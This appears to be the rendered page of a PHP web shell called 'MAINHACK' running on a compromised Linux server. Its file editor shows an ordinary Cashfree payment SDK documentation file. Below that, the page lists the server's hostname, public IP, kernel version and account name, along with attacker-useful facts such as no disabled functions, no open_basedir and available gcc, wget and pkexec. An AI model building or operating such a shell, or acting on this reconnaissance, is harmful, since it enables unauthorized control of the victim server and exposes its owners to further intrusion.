[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Settlements.md
# Settlements Method | HTTP request | Description ------------- | ------------- | ------------- [**PGOrderFetchSettlement**](Settlements.md#PGOrderFetchSettlement) | **Get** /orders/{order_id}/settlements | Get Settlements by Order ID ## PGOrderFetchSettlement > PGOrderFetchSettlement($x_api_version, $order_id, $x_request_id = null, $x_idempotency_key = null, GuzzleHttp\Client $http_client = null) Get Settlements by Order ID ([Docs](https://docs.cashfree.com/reference/pgorderfetchsettlement)) ### Example ```php $x_api_version = "2022-09-01"; $order_id = "order_id"; try { $result = $cashfree->PGOrderFetchSettlement($x_api_version, $order_id, null, null, null); } catch (Exception $e) { echo 'Exception when calling PGOrderFetchSettlement: ', $e->getMessage(), PHP_EOL; } ``` ### Parameters Name | Type | Description | Notes ------------- | ------------- | ------------- | ------------- **orderId** | **string** | The id which uniquely identifies your order | **xApiVersion** | **string** | API version to be used. Format is in YYYY-MM-DD | [default to "2022-09-01"] **xRequestId** | **string** | Request id for the API call. Can be used to resolve tech issues. Communicate this in your tech related queries to cashfree | ### Response ```json { "cf_payment_id": 553338, "order_id": "order-12-127", "entity": "settlement", "order_amount": 100, "payment_time": "2021-07-13T13:13:59+05:30", "service_charge": 10, "service_tax": 1.8, "settlement_amount": 88.2, "cf_settlement_id": 6121238, "transfer_id": 238, "transfer_time": "2021-07-25T12:57:52+05:30", "transfer_utr": "N87912312", "order_currency": "INR", "settlement_currency": "INR" } ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.98 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002